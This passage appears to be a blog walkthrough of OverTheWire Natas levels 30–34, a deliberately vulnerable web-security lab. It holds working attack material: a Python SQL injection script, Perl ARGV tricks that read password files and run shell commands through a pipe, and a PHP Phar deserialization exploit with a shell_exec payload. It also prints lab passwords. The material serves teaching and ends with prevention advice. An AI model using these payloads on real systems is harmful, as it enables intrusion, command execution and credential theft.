We can exploit this by:
Sending the password parameter as an array
Making the first element of our SQL injection
Setting the second element as a number to trigger the numeric handling
import requests
from requests.auth import HTTPBasicAuth
basicAuth=HTTPBasicAuth('natas30', 'WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH')
u="http://natas30.natas.labs.overthewire.org/index.pl"
params={"username": "user", "password": ["'password' or 1", 5]}
response = requests.post(u, data=params, auth=basicAuth, verify=False)
print(response.text)

And here is the password for the level 31
m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0yNatas Level 31 → Level 32: Perl DBI quote() Function Type Handling Exploitation
Username:
natas31
Password:m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y
URL: http://natas31.natas.labs.overthewire.org
After logging in with the credits above, In this level, we encounter a Perl-based web application that allows users to upload and render CSV files as HTML tables. However, the real vulnerability lies in Perl's CGI module and file-handling mechanisms.
Source Code:
The key vulnerability is rooted in Perl's CGI module handling of file uploads. Two critical functions are involved:
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
print <<END;
I first tested normal functionality by uploading a sample CSV file:
id,name,email,age
1,John Doe,johndoe@example.com,28
2,Jane Smith,janesmith@example.com,34
3,Michael Brown,michaelbrown@example.com,45
4,Emily Davis,emilydavis@example.com,22
Here is an example request for uploaded csv file:

The application successfully processed this file and displayed it as a nicely formatted HTML table.
The key vulnerability lies in how Perl handles file descriptors and the ARGV special variable.
Exploitation
The Vulnerability
I discovered that we can manipulate the file handling by:
Adding an additional
fileparameter with the valueARGVUsing the URL parameter to specify which file to read
Crafting the Exploit
I modified the original request by:
Adding
?/etc/natas_webpass/natas32to the URL pathInserting an additional form-data block with
ARGVbefore the CSV file data
How It Works
The first
fileparameter with valueARGVtricks Perl's file-handling mechanismThe URL parameter
/etc/natas_webpass/natas32is read as an argument toARGVThis causes Perl to read the specified file instead of the uploaded CSV

Success!
The modified request successfully retrieved the contents of /etc/natas_webpass/natas32, revealing the password for the next level.
Technical Deep Dive
The exploit works because:
Perl's CGI module allows multiple values for the same parameter
The
ARGVfile handle in Perl has special behavior with<>When using
ARGV, Perl attempts to read files specified in command line arguments
I recommend watching this Black hat talk that explains the Perl Jam 2 Pinnacle Attack
Video
And here is the password for the level 32
NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0BNatas Level 32 → Level 33: Remote Code Execution (RCE) via ARGV Command Injection
Username:
natas32
Password:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B
URL: http://natas32.natas.labs.overthewire.org/
After logging in with the credits above, Natas32 builds upon the previous level's vulnerability but requires us to achieve Remote Code Execution (RCE) instead of just file reading. The web application appears identical to level 31, presenting a CSV to HTML converter.
Initial Analysis
The webpage at http://natas32.natas.labs.overthewire.org hints that we need code execution, suggesting our file reading exploit from level 31 needs to be elevated to RCE.
Exploitation Process
Step 1: Directory Enumeration
First, I needed to see what files were available in the current directory. Using the ARGV vulnerability from level 31, I crafted a request to execute ls -lah:
POST /index.pl?ls%20-lah%20.%20%7c HTTP/1.1
Host: natas32.natas.labs.overthewire.org
[...]
Content-Type: multipart/form-data; boundary=---------------------------29201702249798150581874685734
[...]
-----------------------------29201702249798150581874685734
Content-Disposition: form-data; name="file"
ARGV
-----------------------------29201702249798150581874685734
Content-Disposition: form-data; name="file"; filename="CSV2HTML.csv"
[...]
Key elements of the exploit:
Added
?ls%20-lah%20.%20%7cto the URL path (%7cis the URL-encoded pipe symbol|)Inserted the
ARGVparameter before the CSV file dataUsed a pipe (
|) to execute the command

Step 2: Discovering the Password Binary
The directory listing revealed an interesting executable file called getpassword. This binary appeared to be designed to output the password for level 33.
Step 3: Executing the Binary
To get the password, I modified the command to execute the getpassword binary:
POST /index.pl?./getpassword%20| HTTP/1.1
[...]

The binary is executed successfully and outputs the password for natas33.
The RCE Mechanism
The exploit works by:
Using
ARGVas a file handle to trick Perl's file processingAdding a pipe symbol (
|) at the end of the command to execute itURL encoding spaces (
%20) and the pipe (%7c) for proper HTTP transmission
Key Components
The
ls -lahcommand helped identify available filesThe
getpasswordbinary was specifically placed to provide the next level's credentialsCommand execution was achieved through Perl's ARGV handling and pipe operator
Why It Works
Perl's CGI module allows multiple file parameters
The ARGV file handle enables command execution when used with a pipe
The application doesn't sanitize or restrict command execution through the ARGV handler
Lessons Learned
This challenge teaches:
How to escalate file read vulnerabilities to RCE
The importance of proper input validation and file handling
How legacy features can be exploited in unexpected ways
The value of thorough system enumeration
Prevention
To prevent such vulnerabilities:
Disable unnecessary file handle operations
Implement proper input validation
Use modern, secure frameworks
Restrict command execution capabilities
Properly sandbox web applications
This level demonstrates how a seemingly simple file upload functionality can be exploited to achieve full command execution when proper security controls are not in place.
And here is the password for the level 33
2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJNatas Level 33 → Level 34: Exploiting PHP Phar Deserialization via MD5 Hash Bypass
Username:
natas33
Password:2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ
URL: http://natas33.natas.labs.overthewire.org/
After logging in with the credits above, This level introduces us to PHP object injection via Phar deserialization, which can be used to bypass the MD5 hash verification. Let's break down how to solve it.
Source Code:
<?php
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
chdir("/natas33/upload/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
?>
<?php
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor(); }
?>
The Challenge
The web application allows users to upload "firmware" files and includes a verification mechanism that checks the MD5 hash of the uploaded file. Here's what we're working with:
A file size limit of 4096 bytes
MD5 hash verification against a specific signature
File execution if the hash matches
Understanding the Vulnerability
The key vulnerability lies in the __destruct() method:
function __destruct(){
chdir("/natas33/upload/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename ";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch! ";
}
}
The code uses:
md5_file()for hash verificationLoose comparison (
==) for hash checkingpassthru()to execute the file
The Attack Vector: Phar Deserialization
We can exploit this using a Phar deserialization attack because:
md5_file()triggers PHP's file operationsPhar files contain serialized metadata
When accessing a Phar file using the
phar://wrapper, PHP deserializes this metadata
Solution Steps
1. Create the Shell File (shell.php)
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
2. Create the Phar Generator (natas33.php)
<?php
class Executor {
private $filename = "shell.php";
private $signature = True;
private $init = false;
}
$phar = new Phar('natas.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$object = new Executor();
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
3. Generate the Phar File
php -d phar.readonly=false natas33.php
The ouput of natas33.php is natas.phar file:

4. Exploitation Steps
Upload
shell.php:Send POST request to upload
shell.phpModify filename parameter to "shell.php"

Upload
natas.phar:Send POST request to upload
natas.pharModify filename parameter to "natas.phar"

Trigger the Exploit:
Send another POST request
Set filename to "phar://natas.phar/test.txt"

How the Exploit Works
When the
md5_file()function processes our Phar file:The Phar metadata is unserialized
Our malicious
Executorobject is created$signatureis set toTrue$filenameis set to "shell.php"
The loose comparison
== $this->signatureevaluates to true because:Any string compared with
trueusing==evaluates totrueThis bypasses the MD5 check
The application then executes our shell.php file, which reads the password for level 34
Key Takeaways
Phar files can be used for object injection attacks when file operations are involved
Loose comparisons (
==) in PHP can lead to unexpected behaviorMagic methods like
__destruct()are prime targets for exploitationFile operations that parse metadata can lead to deserialization vulnerabilities
Prevention
To prevent similar vulnerabilities:
Use strict comparison (
===) for hash verificationImplement proper file type validation
Avoid using unserialize() on user-controlled data
Consider disabling the Phar stream wrapper if not needed
And here is the password for the level 33
j4O7Q7Q5er5XFRCepmyXJaWCSIrslCJYAfter completing all 34 levels of OverTheWire's Natas wargame, I've gained invaluable insights into web application security. The journey from basic password inspection to advanced PHP object injection has been challenging and rewarding. I truly enjoyed solving each level and expanding my knowledge of web security. I hope those who followed these walkthroughs found them helpful and enjoyed the journey as much as I did!




